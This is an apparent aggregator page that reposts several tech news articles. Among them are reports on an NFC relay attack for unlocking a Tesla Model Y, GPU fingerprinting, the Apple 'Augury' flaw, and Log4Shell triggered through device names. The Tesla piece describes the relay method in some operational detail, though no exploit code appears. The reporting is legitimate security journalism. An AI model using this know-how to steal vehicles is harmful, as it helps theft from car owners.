Categories
Security

New attack can unlock and start a Tesla Model Y in seconds, say researchers

Tesla prides itself on its cybersecurity protections, particularly the elaborate challenge system that protects its cars from conventional methods for attacking the remote unlock system. But now, one researcher has discovered a sophisticated relay attack that would allow someone with physical access to a Tesla Model Y to unlock and steal it in a matter of seconds.

The vulnerability — discovered by Josep Pi Rodriguez, principal security consultant for IOActive — involves what’s called an NFC relay attack and requires two thieves working in tandem. One thief needs to be near the car and the other near the car owner, who has an NFC keycard or mobile phone with a Tesla virtual key in their pocket or purse.

Near-field communication keycards allow Tesla owners to unlock their vehicles and start the engine by tapping the card against an NFC reader embedded in the driver’s side body of the car. Owners can also use a key fob or a virtual key on their mobile phone to unlock their car, but the car manual advises them to always carry the NFC keycard as a backup in case they lose the key fob or phone or their phone’s battery dies.

In Rodriguez’s scenario, attackers can steal a Tesla Model Y as long as they can position themselves within about two inches of the owner’s NFC card or mobile phone with a Tesla virtual key on it — for example, while in someone’s pocket or purse as they walk down the street, stand in line at Starbucks, or sit at a restaurant.

The first hacker uses a Proxmark RDV4.0 device to initiate communication with the NFC reader in the driver’s side door pillar. The car responds by transmitting a challenge that the owner’s NFC card is meant to answer. But in the hack scenario, the Proxmark device transmits the challenge via Wi-Fi or Bluetooth to the mobile phone held by the accomplice, who places it near the owner’s pocket or purse to communicate with the keycard. The keycard’s response is then transmitted back to the Proxmark device, which transmits it to the car, authenticating the thief to the car by unlocking the vehicle.

Although the attack via Wi-Fi and Bluetooth limits the distance the two accomplices can be from one another, Rodriguez says it’s possible to pull off the attack via Bluetooth from several feet away from each other or even farther away with Wi-Fi, using a Raspberry Pi to relay the signals. He believes it may also be possible to conduct the attack over the internet, allowing even greater distance between the two accomplices.

If it takes time for the second accomplice to get near the owner, the car will keep sending a challenge until it gets a response. Or the Proxmark can send a message to the car saying it needs more time to produce the challenge response.

Until last year, drivers who used the NFC card to unlock their Tesla had to place the NFC card on the console between the front seats in order to shift it into gear and drive. But a software update last year eliminated that additional step. Now, drivers can operate the car just by stepping on the brake pedal within two minutes after unlocking the car.

The attack Rodriguez devised can be prevented if car owners enable the PIN-to-drive function in their Tesla vehicle, requiring them to enter a PIN before they can operate the car. But Rodriguez expects that many owners don’t enable this feature and may not even be aware it exists. And even with this enabled, thieves could still unlock the car to steal valuables.

There is one hitch to the operation: once the thieves shut off the engine, they won’t be able to restart the car with that original NFC keycard. Rodriguez says they can add a new NFC keycard to the vehicle that would allow them to operate the car at will. But this requires a second relay attack to add the new key, which means that, once the first accomplice is inside the car after the first relay attack, the second accomplice needs to get near the owner’s NFC keycard again to repeat the relay attack, which would allow the first accomplice to authenticate themself to the vehicle and add a new keycard.

If the attackers aren’t interested in continuing to drive the vehicle, they could also just strip the car for parts, as has occurred in Europe. Rodriguez says that eliminating the relay problem he found wouldn’t be a simple task for Tesla.

“To fix this issue is really hard without changing the hardware of the car — in this case the NFC reader and software that’s in the vehicle,” he says.

But he says the company could implement some changes to mitigate it — such as reducing the amount of time the NFC card can take to respond to the NFC reader in the car.

“The communication between the first attacker and the second attacker takes only two seconds [right now], but that’s a lot of time,” he notes. “If you have only half a second or less to do this, then it would be really hard.”

Rodriguez, however, says the company downplayed the problem to him when he contacted them, indicating that the PIN-to-drive function would mitigate it. This requires a driver to type a four-digit PIN into the car’s touchscreen in order to operate the vehicle. It’s not clear if a thief could simply try to guess the PIN. Tesla’s user manual doesn’t indicate if the car will lock out a driver after a certain number of failed PINs.

Tesla did not respond to a request for comment from The Verge.

It’s not the first time that researchers have found ways to unlock and steal Tesla vehicles. Earlier this year, another researcher found a way to start a car with an unauthorized virtual key, but the attack requires the attacker to be in the vicinity while an owner unlocks the car. Other researchers showed an attack against Tesla vehicles involving a key fob relay attack that intercepts and then replays the communication between an owner’s key fob and vehicle.

Rodriguez says that, despite vulnerabilities discovered with Tesla vehicles, he thinks the company has a better track record on security than other vehicles.

“Tesla takes security seriously, but because their cars are much more technological than other manufacturers, this makes their attack surface bigger and opens windows for attackers to find vulnerabilities,” he notes. “That being said, to me, Tesla vehicles have a good security level compared to other manufacturers that are even are less technological.”

He adds that the NFC relay attack is also possible in vehicles made by other manufacturers, but “those vehicles have no PIN-to-drive mitigation.”

Repost: Original Source and Author Link

Categories
AI

Why Meta’s large language model does not work for researchers

Were you unable to attend Transform 2022? Check out all of the summit sessions in our on-demand library now! Watch here.


When Alan Turing came up with the Turing Test in 1950, it was a test of a machine’s ability to exhibit intelligent behavior indistinguishable from that of a human. Turing proposed that a computer can be said to possess artificial intelligence (AI) if it can create human-like responses to questions.

Thanks to large language models, we’re now at the point where computers can write text on just about any subject we give them — and for the most part, it’s very convincing and human-like.

Tell it to write a sentence on, “Why does Elon Musk like to knit?” and what it outputs is arguably as good as what any human could write:

Some possible reasons why Elon Musk might enjoy knitting could include the fact that it is a relaxing and meditative activity that can help to clear one's mind, and it also allows for a great deal of creativity and self-expression.
Additionally, knitting can be a very social activity, and Elon Musk may enjoy the opportunity to chat and connect with other knitters.

[Source: OpenAI Playground using text-davinci-002 model]

Summarizing complex text

Examples like this are fun, but the bigger value proposition of using large language models is less about writing wacky prose and more about the summarization of complex text. These use cases are exciting across industries. For instance, AI can distill information about potential prospects for sales intelligence purposes, or it can summarize investment documents in finance.

Event

MetaBeat 2022

MetaBeat will bring together thought leaders to give guidance on how metaverse technology will transform the way all industries communicate and do business on October 4 in San Francisco, CA.

Register Here

However, what I’m particularly interested in is summarizing scientific papers for researchers.

The problem is there is an overload of research being published around the world. More than 4.2 million academic research papers were published in 2020. Even within specialized fields of research, there are hundreds of papers published every year — how can a researcher keep on top of it all while pursuing their own research? A paper’s abstract only hints at the research detail within.

When Meta recently open-sourced its language model, OPT-175B, it sounded promising for academic researchers. It’s said to offer better performance than OpenAI’s GPT-3 and uses just 15% of GPT-3’s compute resources to train it.

Putting models to the test

So how does Meta perform on scientific research?

We tested it first on a technical press release, and this was the summary we received:

​​Forward Looking Statements, which speak only as of the date of this press release. Artelo undertakes no obligation to publicly update any forward-looking statement, whether as a result of new information, future events or otherwise.
Investor Relations Contact:
Westwicke Partners on behalf of Artelo Biosciences
Mike Piccinino, CFA

It’s not a great start. The model focuses on the investor legalese at the end of the press release, calculating that it is the most important information reader’s need to know. You might argue that it is important, but it’s not what we’re looking for. The investor contact isn’t even correct, it was fabricated by the model!

Next, we tried it on a paper from the Journal of Electronic Materials:

Journal of ELECTRONIC MATERIALS, Vol. 38, No. 7, 2009 DOI: 10.1007/s11664-009-0701-y (cid:1) 2009 TMS Special Issue Paper thermally. The samples were then pulverized and analyzed by XRD, TGA, and XPS. The XRD patterns showed that CaCo2O4+d crystallizes as a calcium-ferrite-type structure, which consists of a corner- and edge- shared CoO6 octahedron network including one-dimensional double chains. The CaCo2O4+d phase has a finite density of states at the Fermi level. The XPS results showed that CaCo2O4+d has a composition of CaCo2O4+d = (Ca2CoO3)0.62CoO2. The XPS results also showed that CaCo2O4+d has

[Source: Meta OPT-175B]

At first glance, it appears to have important information, but there’s clearly superfluous information such as the details of the paper that aren’t important to the summary, and I’d more accurately describe the result as paraphrasing a part of the text rather than summarizing all aspects of it.

Small-scale models outperform

So how does a smaller language model compare? Through experience in the field, we designed our Iris.ai IPG model to have just 25 million parameters — as opposed to 175 billion from Meta and OpenAI — but trained it on millions of domain-specific scientific articles. Our research has shown that this model performs very differently on the same paper:

Metallic temperature dependence of the seebeck coefficient s with a large thermoelectric power (s=151lv/kat387k) has a finite density of states at the fermi level. In this paper, we report the crystal structure and physical properties of caco2o4+d. We find a new compound caco2o4+d, which exhibits a large thermoelectric power, even though it has a finite density of states at the fermi level. Motivated by the simple guiding principle mentioned previously, we searched for new phases thermoelectric properties related as a thermoelectric material applicable to high-temperature use.

[Source: Iris.ai IPG]

You can see the sentence structure is slightly more simplistic than a large language model, but the information is much more relevant. What’s more, the computational costs to generate that news article summary is less than $0.23. To do the same on OPT-175 would cost about $180.

The container ships of AI models

You’d assume that large language models backed with enormous computational power, such as OPT-175B would be able to process the same information faster and to a higher quality. But where the model falls down is in specific domain knowledge. It doesn’t understand the structure of a research paper, it doesn’t know what information is important, and it doesn’t understand chemical formulas. It’s not the model’s fault — it simply hasn’t been trained on this information.

The solution, therefore, is to just train the GPT model on materials papers, right?

To some extent, yes. If we can train a GPT model on materials papers, then it’ll do a good job of summarizing them, but large language models are — by their nature — large. They are the proverbial container ships of AI models — it’s very difficult to change their direction. This means to evolve the model with reinforcement learning needs hundreds of thousands of materials papers. And this is a problem — this volume of papers simply doesn’t exist to train the model. Yes, data can be fabricated (as it often is in AI), but this reduces the quality of the outputs — GPT’s strength comes from the variety of data it’s trained on.

Revolutionizing the ‘how’

This is why smaller language models work better. Natural language processing (NLP) has been around for years, and although GPT models have hit the headlines, the sophistication of smaller NLP models is improving all the time.

After all, a model trained on 175 billion parameters is always going to be difficult to handle, but a model using 30 to 40 million parameters is much more maneuverable for domain-specific text. The additional benefit is that it will use less computational power, so it costs a lot less to run, too.

From a scientific research point of view, which is what interests me most, AI is going to accelerate the potential for researchers — both in academia and in industry. The current pace of publishing produces an inaccessible amount of research, which drains academics’ time and companies’ resources.

The way we designed Iris.ai’s IPG model reflects my belief that certain models provide the opportunity not just to revolutionize what we study or how quickly we study it, but also how we approach different disciplines of scientific research as a whole. They give talented minds significantly more time and resources to collaborate and generate value.

This potential for every researcher to harness the world’s research drives me forward.

Victor Botev is the CTO at Iris AI.

DataDecisionMakers

Welcome to the VentureBeat community!

DataDecisionMakers is where experts, including the technical people doing data work, can share data-related insights and innovation.

If you want to read about cutting-edge ideas and up-to-date information, best practices, and the future of data and data tech, join us at DataDecisionMakers.

You might even consider contributing an article of your own!

Read More From DataDecisionMakers

Repost: Original Source and Author Link

Categories
Security

Researchers say your GPU could expose private info online

In an age of increased online privacy awareness, many of us are conscious of our digital fingerprints and prefer not to be tracked. However, it may not be as simple as it previously seemed.

An international team of researchers has found that users can be tracked down by their graphics cards. This is done through a new technique referred to as “GPU fingerprinting.”

An example of the GPU fingerprinting technique showcasing two identical GPUs that still produce different results.

This new technology, named DrawnApart by the researchers and first reported by Bleeping Computer, relies on the tiny differences between each piece of hardware in order to make a distinction that ties it to a certain user. Through a series of identifiers, researchers find that they are able to track down individual users, as well as their online activity, just by implementing this new technique.

The team spans several countries and universities, including researchers from Israel, France, and Australia, who published their findings online in a paper on Arxiv.org. They showcased examples of the GPU fingerprinting technique, which relies on the fact that no components are exactly the same — even if they are all part of the same model and were made by the same manufacturer.

There are tiny differences in the performance, power consumption, and processing capabilities of every graphics card. DrawnApart takes advantage of that by using fixed workloads based on the Web Graphics Library (WebGL). This is a cross-platform JavaScript-based application programming interface (API) responsible for rendering graphics within any compatible web browser.

Using WebGL, DrawnApart targets the GPU’s shaders with a special sequence of graphic operations that were made specifically for this task. The drawing operations are ultra-precise and make it easier for the researchers to tell the graphics cards apart, and this includes cards of the same make and model.

Once the task is complete, the technique produces an accurate trace with timing measurements that includes how long it takes the card to handle stall functions, complete vertex renders, and more. As the timing is individual to each GPU, this results in making the unit trackable.

DrawnApart tracking duration diagram.
DrawnApart: Average tracking time by collection period graph.

The research team finds that this technique provides a high degree of accuracy and is an improvement over existing tracking methods. The algorithm was tested on a large sample of more than 2,500 unique devices and 371,000 fingerprints, and the researchers noted a 67% improvement compared to using only current fingerprinting methods without DrawnApart. In its current state, DrawnApart can fingerprint a graphics card in just eight seconds.

Eight seconds is ultrafast as it is, but there is potential for even more accurate and quicker tracking through the use of newer, faster APIs. The team tested using compute shader operations instead and found that the results were now up to 98% accurate and only took 150 milliseconds to achieve.

Although the findings are impressive, it’s impossible to deny that they’re also terrifying. We’ve all grown used to declining cookies on various websites, but DrawnApart proves that may soon not be enough. The research team is also keenly aware of the potential for misuse that the GPU fingerprint poses.

“This is a substantial improvement to stateless tracking, obtained through the use of our new fingerprinting method. […] We believe it raises practical concerns about the privacy of users being subjected to fingerprinting,” said the researchers in their paper.

As the GPU fingerprinting technique may not require additional permissions, users could be subjected to it by simply browsing the internet. Khronos, the organization in charge of the WebGL library, is already exploring ways in which to prevent the technique from being used maliciously.

Editors’ Choice




Repost: Original Source and Author Link

Categories
Security

Justice Department pledges not to charge security researchers with hacking crimes

The US Department of Justice says it won’t subject “good-faith security research” to charges under anti-hacking laws, acknowledging long-standing concerns around the Computer Fraud and Abuse Act (CFAA). Prosecutors must also avoid charging people for simply violating a website’s terms of service — including minor rule-breaking like embellishing a dating profile — or using a work-related computer for personal tasks.

The new DOJ policy attempts to allay fears about the CFAA’s broad and ambiguous scope following a 2021 Supreme Court ruling that encouraged reading the law more narrowly. The ruling warned that government prosecutors’ earlier interpretation risked criminalizing a “breathtaking amount of commonplace computer activity,” laying out several hypothetical examples that the DOJ now promises it won’t prosecute. That change is paired with a safe harbor for researchers carrying out “good-faith testing, investigation, and/or correction of a security flaw or vulnerability.” The new rules take effect immediately, replacing old guidelines issued in 2014.

“The policy clarifies that hypothetical CFAA violations that have concerned some courts and commentators are not to be charged,” says a DOJ press release. “Embellishing an online dating profile contrary to the terms of service of the dating website; creating fictional accounts on hiring, housing, or rental websites; using a pseudonym on a social networking site that prohibits them; checking sports scores at work; paying bills at work; or violating an access restriction contained in a term of service are not themselves sufficient to warrant federal criminal charges.”

These guidelines reflect a newly limited interpretation of “exceeding authorized access” to a computer, a practice criminalized by the CFAA in 1986. As writer and law professor Orin Kerr explained in 2021, there’s been a decades-long conflict over whether people “exceed” their access by violating any rule laid down by a network or computer owner — or if they have to access explicitly off-limits systems and information. The former interpretation has led to cases like US v. Drew, where prosecutors charged a woman for creating a fake profile on Myspace. The Supreme Court leaned toward the latter version, and now, the DOJ theoretically does, too.

The policy doesn’t settle all criticisms of the CFAA, like its potential for disproportionately long prison sentences. It doesn’t make the underlying law any less vague since it only affects how prosecutors interpret it. The DOJ also warns that the security research exception isn’t a “free pass” for probing networks. Someone who found a bug and extorted the system’s owner using that knowledge, for instance, could be charged for performing that research in bad faith. Even with these limits, though, the rulemaking is a pledge to avoid slapping punitive anti-hacking charges on anyone who uses a computer system in a way its owner doesn’t like.

Repost: Original Source and Author Link

Categories
Security

Researchers find new vulnerability with Apple Silicon chips

Researchers have released details of an Apple Silicon vulnerability dubbed “Augury.” However, it doesn’t seem to be a huge issue at the moment.

Jose Rodrigo Sanchez Vicarte from the University of Illinois at Urbana-Champaign and Michael Flanders of the University of Washington published their findings of a flaw within Apple Silicon. The vulnerability itself is due to a flaw in Apple’s implementation of the Data-Memory Dependent Prefetcher (DMP).

In short, a DMP looks at memory to determine what content to “prefetch” for the CPU. The researchers found that Apple’s M1, M1 Max, and A14 chips used an “array of pointers” pattern that loops through an array and dereferences the contents.

This could possibly leak data that’s not read because it gets dereferenced by the prefetcher. Apple’s implementation is different from a traditional prefetcher as explained by the paper.

“Once it has seen *arr[0] … *arr[2] occur (even speculatively!) it will begin prefetching *arr[3] onward. That is, it will first prefetch ahead the contents of arr and then dereference those contents. In contrast, a conventional prefetcher would not perform the second step/dereference operation.”

Because the CPU cores never read the data, defenses that try to track access to the data don’t work against the Augery vulnerability.

David Kohlbrenner, assistant professor at the University of Washington, downplayed the impact of Augery, noting that Apple’s DMP “is about the weakest DMP an attacker can get.”

The good news here is that this is about the weakest DMP an attacker can get. It only prefetches when content is a valid virtual address, and has number of odd limitations. We show this can be used to leak pointers and break ASLR.

We believe there are better attacks possible.

— David Kohlbrenner (@dkohlbre) April 29, 2022

For now, researchers say that only the pointers can be accessed and even then via the research sandbox environment used to research the vulnerability. Apple was also notified about the vulnerability before the public disclosure, so a patch is likely incoming soon.

Apple issued a March 2022 patch for MacOS Monterey that fixed some nasty Bluetooth and display bugs. It also patched two vulnerabilities that allowed an application to execute code with kernel-level privileges.

Other critical fixes to Apple’s desktop operating system include one that patched a vulnerability that exposed browsing data in the Safari browser.

Finding bugs in Apple’s hardware can sometimes net a pretty profit. A Ph.D. student from Georgia Tech found a major vulnerability that allowed unauthorized access to the webcam. Apple handsomely rewarded him about $100,000 for his efforts.

Editors’ Choice




Repost: Original Source and Author Link

Categories
Security

Researchers trigger new exploit by renaming an iPhone and a Tesla

Security researchers investigating the recently discovered and “extremely bad” Log4Shell exploit claim to have used it on devices as varied as iPhones and Tesla cars. Per screenshots shared online, changing the device name of an iPhone or Tesla to a special exploit string was enough to trigger a ping from Apple or Tesla servers, indicating that the server at the other end was vulnerable to Log4Shell.

In the demonstrations, researchers switched the device names to be a string of characters that would send servers to a testing URL, exploiting the behavior enabled by the vulnerability. After the name was changed, incoming traffic showed URL requests from IP addresses belonging to Apple and, in the case of Tesla, China Unicom — the company’s mobile service partner for the Chinese market. In short, the researchers tricked Apple and Tesla servers into visiting a URL of their choice.

Apple device information screen showing name changed to log4shell attack string

An iPhone device information screen with name changed to contain the exploit string.
Image: Cas van Cooten / Twitter

The iPhone demonstration came from a Dutch security researcher; the other was uploaded to the anonymous Log4jAttackSurface Github repository.

Assuming the images are genuine, they show behavior — remote resource loading — that should not be possible with text contained in a device name. This proof of concept has led to widespread reporting that Apple and Tesla are vulnerable to the exploit.

While the demonstration is alarming, it’s not clear how useful it would be for cybercriminals. In theory, an attacker could host malicious code at the target URL in order to infect vulnerable servers, but a well-maintained network could prevent such an attack at the network level. More broadly, there’s no indication that the method could lead to any broader compromise of Apple or Tesla’s systems. (Neither company responded to an email request for comment by time of publication.)

Still, it’s a reminder of the complex nature of technological systems, which almost always depend on code pulled in from third-party libraries. The Log4Shell exploit affects an open-source Java tool called log4j which is widely used for application event logging; though it’s still not known exactly how many devices are affected, but researchers estimate that it is in the millions, including obscure systems that are rarely targeted by attacks of this nature.

The full extent of exploitation in the wild is unknown, but in a blog post, digital forensics platform Cado reported detecting servers trying to use this method to install Mirai botnet code.

Log4Shell is all the more serious for being relatively easy to exploit. The vulnerability works by tricking the application into interpreting a piece of text as a link to a remote resource, and trying to retrieve that resource instead of saving the text as it is written. All that’s necessary is for a vulnerable device to save the special string of characters in its application logs.

This creates the potential for vulnerability in many systems that accept user input, since message text can be stored in the logs. The log4j vulnerability was first spotted in Minecraft servers, which attackers could compromise using chat messages; and systems that send and receive other message formats like SMS clearly are also susceptible.

At least one major SMS provider appears to be vulnerable to the exploit, according to testing conducted by The Verge. When sent to numbers operated by the SMS provider, text messages containing exploit code triggered a response from the company’s servers that revealed information about the IP address and host name, suggesting that the servers could be tricked into executing malicious code. Calls and emails to the affected company had not been answered at time of publication.

An update to the log4j library has been released to mitigate against the vulnerability, but patching of all vulnerable machines will take time given the challenges of updating enterprise software at scale.



Repost: Original Source and Author Link

Categories
AI

AI Weekly: AI researchers release toolkit to promote AI that helps to achieve sustainability goals

Hear from CIOs, CTOs, and other C-level and senior execs on data and AI strategies at the Future of Work Summit this January 12, 2022. Learn more


While discussions about AI often center around the technology’s commercial potential, increasingly, researchers are investigating ways that AI can be harnessed to drive societal change. Among others, Facebook chief AI scientist Yann LeCun and Google Brain cofounder Andrew Ng have argued that mitigating climate change and promoting energy efficiency are preeminent challenges for AI researchers.

Along this vein, researchers at the Montreal AI Ethics Institute have proposed a framework designed to quantify the social impact of AI through techniques like compute-efficient machine learning. An IBM project delivers farm cultivation recommendations from digital farm “twins” that simulate the future soil conditions of real-world crops. Other researchers are using AI-generated images to help visualize climate change, and nonprofits like WattTime are working to reduce households’ carbon footprint by automating when electric vehicles, thermostats, and appliances are active based on where renewable energy is available.

Seeking to spur further explorations in the field, a group at the Stanford Sustainability and Artificial Intelligence Lab this week released (to coincide with NeurIPS 2021) a benchmark dataset called SustainBench for monitoring sustainable development goals (SDGs) including agriculture, health, and education using machine learning. As the coauthors told VentureBeat in an interview, the goal is threefold: (1) lower the barriers to entry for researchers to contribute to achieving SDGs; (2) provide metrics for evaluating SDG-tracking algorithms, and (3) encourage the development of methods where improved AI model performance facilitates progress towards SDGs.

“SustainBench was a natural outcome of the many research projects that [we’ve] worked on over the past half-decade. The driving force behind these research projects was always the lack of large, high-quality labeled datasets for measuring progress toward the United Nations Sustainable Development Goals (UN SDGs), which forced us to come up with creative machine learning techniques to overcome the label sparsity,” the coauthors said. “[H]aving accumulated enough experience working with datasets from diverse sustainability domains, we realized earlier this year that we were well-positioned to share our expertise on the data side of the machine learning equation … Indeed, we are not aware of any prior sustainability-focused datasets with similar size and scale of SustainBench.”

Motivation

Progress toward SDGs has historically been measured through civil registrations, population-based surveys, and government-orchestrated censuses. However, data collection is expensive, leading many countries to go decades between taking measurements on SDG indicators. It’s estimated that only half of SDG indicators have regular data from more than half of the world’s countries, limiting the ability of the international community to track progress toward the SDGs.

“For example, early on during the COVID-19 pandemic, many developing countries implemented their own cash transfer programs, similar to the direct cash payments from the IRS in the United States. However … data records on household wealth and income in developing countries are often unreliable or unavailable,” the coauthors said.

Innovations in AI have shown promise in helping to plug the data gaps, however. Data from satellite imagery, social media posts, and smartphones can be used to train models to predict things like poverty, annual land cover, deforestation, agricultural cropping patterns, crop yields, and even the location and impact of natural disasters. For example, the governments of Bangladesh, Mozambique, Nigeria, Togo, and Uganda used machine learning-based poverty and cropland maps to direct economic aid to their most vulnerable populations during the pandemic.

But progress has been hindered by challenges, including a lack of expertise and dearth of data for low-income countries. With SustainBench, the Stanford researchers — along with contributors at Caltech, UC Berkeley, and Carnegie Mellon — hope to provide a starting ground for training machine learning models that can help measure SDG indicators and have a wide range of applications for real-world tasks.

SustainBench contains a suite of 15 benchmark tasks across seven SDGs taken from the United Nations, including good health and well-being, quality education, and clean water and sanitation. Beyond this, SustainBench offers tasks for machine learning challenges that cover 119 countries, each designed to promote the development of SDG measurement methods on real-world data.

The coauthors caution that AI-based approaches should supplement, rather than replace, ground-based data collection. They point out that ground truth data are necessary for training models in the first place, and that even the best sensor data can only capture some — but not all — of the outcomes of interest. But AI, they still believe, can be helpful for measuring sustainability indicators in regions where ground truth measurements are scarce or unavailable.

“[SDG] indicators have tremendous implications for policymakers, yet ‘key data are scarce, and often scarcest in places where they are most needed,’ as several of our team members wrote in a recent Science review article. By using abundant, cheap, and frequently updated sensor data as inputs, AI can help plug these data gaps. Such input data sources include publicly available satellite images, crowdsourced street-level images, Wikipedia entries, and mobile phone records, among others,” the coauthors said.

Future work

In the short term, the coauthors say that they’re focused on raising awareness of SustainBench within the machine learning community. Future versions of SustainBench are in the planning stages, potentially with additional datasets and AI benchmarks.

“Two technical challenges stand out to us. The first challenge is to develop machine learning models that can reason about multi-modal data. Most AI models today tend to work with single data modalities (e.g., only satellite images, or only text), but sensor data often comes in many forms … The second challenge is to design models that can take advantage of the large amount of unlabeled sensor data, compared to sparse ground truth labels,” the coauthors said. “On the non-technical side, we also see a challenge in getting the broader machine learning community to focus more efforts on sustainability applications … As we alluded to earlier, we hope SustainBench makes it easier for machine learning researchers to recognize the role and challenges of machine learning for sustainability applications.”

For AI coverage, send news tips to Kyle Wiggers — and be sure to subscribe to the AI Weekly newsletter and bookmark our AI channel, The Machine.

Thanks for reading,

Kyle Wiggers

AI Staff Writer

VentureBeat

VentureBeat’s mission is to be a digital town square for technical decision-makers to gain knowledge about transformative technology and transact.

Our site delivers essential information on data technologies and strategies to guide you as you lead your organizations. We invite you to become a member of our community, to access:

  • up-to-date information on the subjects of interest to you
  • our newsletters
  • gated thought-leader content and discounted access to our prized events, such as Transform 2021: Learn More
  • networking features, and more

Become a member

Repost: Original Source and Author Link

Categories
AI

Nvidia’s GTC will draw 200K researchers for online event including metaverse session

Join gaming leaders online at GamesBeat Summit Next this upcoming November 9-10. Learn more about what comes next. 


The metaverse may be the stuff of science fiction, but it’s going to make an appearance at a pretty serious tech event: Nvidia’s annual GPU Technology Conference (GTC), an online event happening November 8-11.

GTC expected to draw more than 200,000 attendees including innovators, researchers, thought leaders, and decision-makers. More than 500 sessions focus on deep learning, data science, HPC, robotics, data center/networking, and graphics. Speakers will discuss the latest breakthroughs in healthcare, transportation, manufacturing, retail, finance, telecoms, and more.

I’m moderating a session on the vision for the metaverse, the universe of virtual worlds that are all interconnected, like in novels such as Snow Crash and Ready Player One. The panelists include Tim Sweeney, CEO of Epic Games; Morgan McGuire, chief scientist at Roblox; Willim Cui, vice president of Tencent Games; Jinsoo Jeon, head of metaverse at SK Telecom; Rev Lebaredian, vice president of simulation technology and Omniverse engineering at Nvidia; Christina Heller, CEO of Metastage; and Patrick Cozzi, CEO of Cesium. (We’ll air the panel at our own GamesBeat Summit Next event on November 9-10.)

“It’s a different twist to have a metaverse session,” said Estes. “You know that the metaverse has become top of mind with so many other companies talking about it. Omniverse [the metaverse for engineers] is our product in that area. And so we’re, we’re clearly leaning into that, but Omniverse isn’t the only thing going on. And so we were welcoming and embracing other other conversations about that, because in typical Nvidia fashion, a lot of our success model is the fact that we are Switzerland. We’re a platform and a lot of companies are doing great work on our platform. ”

Webinar

Three top investment pros open up about what it takes to get your video game funded.


Watch On Demand

That’s the general spirit of a lot of the sessions at GTC, Estes said.

Jensen Huang is CEO of Nvidia. He gave a virtual keynote at the recent GTC event.

Above: Jensen Huang is CEO of Nvidia. He gave a virtual keynote at the recent GTC event in the spring and will do so again in November.

Image Credit: Nvidia

“GTC is is attendees can hear from innovators who are in the same general space, but they’re taking different approaches to things,” Estes said. “There are a lot of things about the metaverse that are complementary to the Omniverse.”

Other companies represented among the speakers include Amazon, Arm, AstraZeneca, Baidu, BMW, Domino’s, Electronic Arts, Epic Games, Ford, Google, Kroger, Microsoft, MIT, Oak Ridge National Laboratory, OpenAI, Palo Alto Networks, Red Hat, Rolls-Royce, Salesforce, Samsung, ServiceNow, Snap, Stanford University, Volvo, and Walmart.

And Nvidia CEO Jensen Huang will announce new AI technologies and products in his keynote presentation, which will be livestreamed on Nov. 9 at 9 am Central European Time/4 pm China Standard Time/12 a.m. Pacific Standard Time. It will be rebroadcast at 8 am PST for viewers in the Americas.

“It’s fair to say that you can expect to hear product and technology announcements. From Jensen, you can expect to hear about new partnerships and lots of examples of actually implementing AI on the leading edge,” Estes said. “We’ll have a number of examples of lighthouse customers and end users and our ecosystem partners.”

Online-only approach

Nvidia's Cambridge-1 will be available to external U.K. scientists.

Above: Nvidia’s Cambridge-1 will be available to external U.K. scientists.

Image Credit: Nvidia

It’s the second major GTC event of the year. Traditional, Nvidia held a big event in the spring and then a lot of smaller regional events. But with the pandemic, that has evolved into two major online events, said Greg Estes, vice president of corporate marketing and developer programs at Nvidia, in an interview with VentureBeat.

Because of the delta variant of COVID-19, Nvidia opted to do another online-only event for the fall GTC.

“As for going back to physical events, we’re hoping for the spring but it’s of course hard to say,” Estes said. “On the other hand, I can’t see us doing physical-only ever again. There will always be really solid digital components going forward. It’s just been too successful. People like it a lot. And we draw a lot more people. And also we can also get to some speakers that we couldn’t get to before.”

Nvidia will make sessions available for viewing after the event.

“We’re expecting more than 200,000 registrations, which is what we had in the spring,” Estes said. “It’s just a fantastic thing to have that much interest and that many connections. For our developer community, we take all the GTC session and we make them available in perpetuity for free. We archive these talks on Nvidia on demand.”

For social interaction, Nvidia is using a third-party app dubbed BrainDate to arrange meetings. But Estes note that due to the resurgence in COVID that the company wasn’t comfortable having a lot of in-person gatherings yet. Over time, he expects that virtual reality meetings, events, and collaborations will take off, as it can be more convenient than travel for a lot of people.

“AI technology is evolving so quickly that it makes sense to have more than one event a year,” Estes said.

Other sessions

GPUs in the Nvidia Cambrigde-1.

Above: GPUs in the Nvidia Cambrigde-1.

Image Credit: Nvidia

Ilya Sutskever, chief scientist at OpenAI, will discuss the history of deep learning and what the future might hold. Fei-Fei Li, professor of computer science at Stanford University, will discuss ambient intelligence (smart, sensor-based solutions) to illuminate the dark spaces of healthcare and take part in a Q&A with Kimberly Powell, Nvidia’s vice president of healthcare.

Bei Yang, vice president and technology studio executive at Disney Imagineering, will discuss how the company is using advanced technologies to “imagineer” the metaverse.

Shashi Bhushan, principal AI software and systems architect at Lockheed Martin, will describe how the company is using Nvidia Omniverse, the “metaverse for engineers,” to predict and fight wildfires.

Ross Krambergar, digital solutions for production planning at BMW, will describe how BMW is utilizing Nvidia Omniverse to realize their vision for a digital twin factory of the future to increase manufacturing flexibility.

Keith Perry, chief information officer at St. Jude Children’s Research Hospital, will explain how they used data science to advance treatments for life-threatening diseases in children. Nir Zuk, chief technology officer at Palo Alto Networks, will speak about AI for cybersecurity.

Anima Anandkumar, director of machine learning research at Nvidia and professor at Caltech, will speak in a panel on measuring and mitigating bias in AI models and run a session on advances in the convergence of AI and scientific computing.

Keith Strier, vice president of worldwide AI initiatives at Nvidia, and Mark Andrijanič, minister for digital transformation of Slovenia, will participate in a fireside chat to discuss how countries need to invest in AI, including infrastructure and data scientists.

Scientists at MIT, Amazon Web Services’ Sustainable Data Initiative, and Nvidia will explain how a group of public and private sector entities is providing climate data to scientists.

An expert panel will talk about the potential of Universal Scene Description (USD) for 3D creators in all industries. The panel includes Sebastian Grassia, project lead for USD at Pixar; Mohsen Rezayat, chief solutions architect at Siemens; Shawn Dunn, senior product manager at Epic Games; Simon Haegler, senior software developer at Esri R&D Center Zurich; Hilda Espinal, chief technology officer at CannonDesign; and Michael Kass, senior distinguished engineer at Nvidia.

Axel Gern, CTO at Daimler Trucks, will explain the strategy, challenges and opportunities of developing software-defined trucks for an autonomous future.

And Nvidia’s graphics wizards will reveal the technologies they used to create a virtual Jensen for the previous spring GTC keynote.

Emerging markets

Nvidia's Inception AI startups are from the green countries.

Above: Nvidia’s Inception AI startups are from the green countries.

Image Credit: Nvidia

GTC will feature a series of sessions focused on business and technical topics in Africa, the Middle East and Latin America.

Speakers from organizations and universities, such as the Kenya AI Center of Excellence, Ethiopian Motion Design and Visual Effects Community, Python Ghana, Nairobi Women in Machine Learning & Data Science, and Chile Inria Research Center, will describe how emerging market developers are using AI to address challenges.

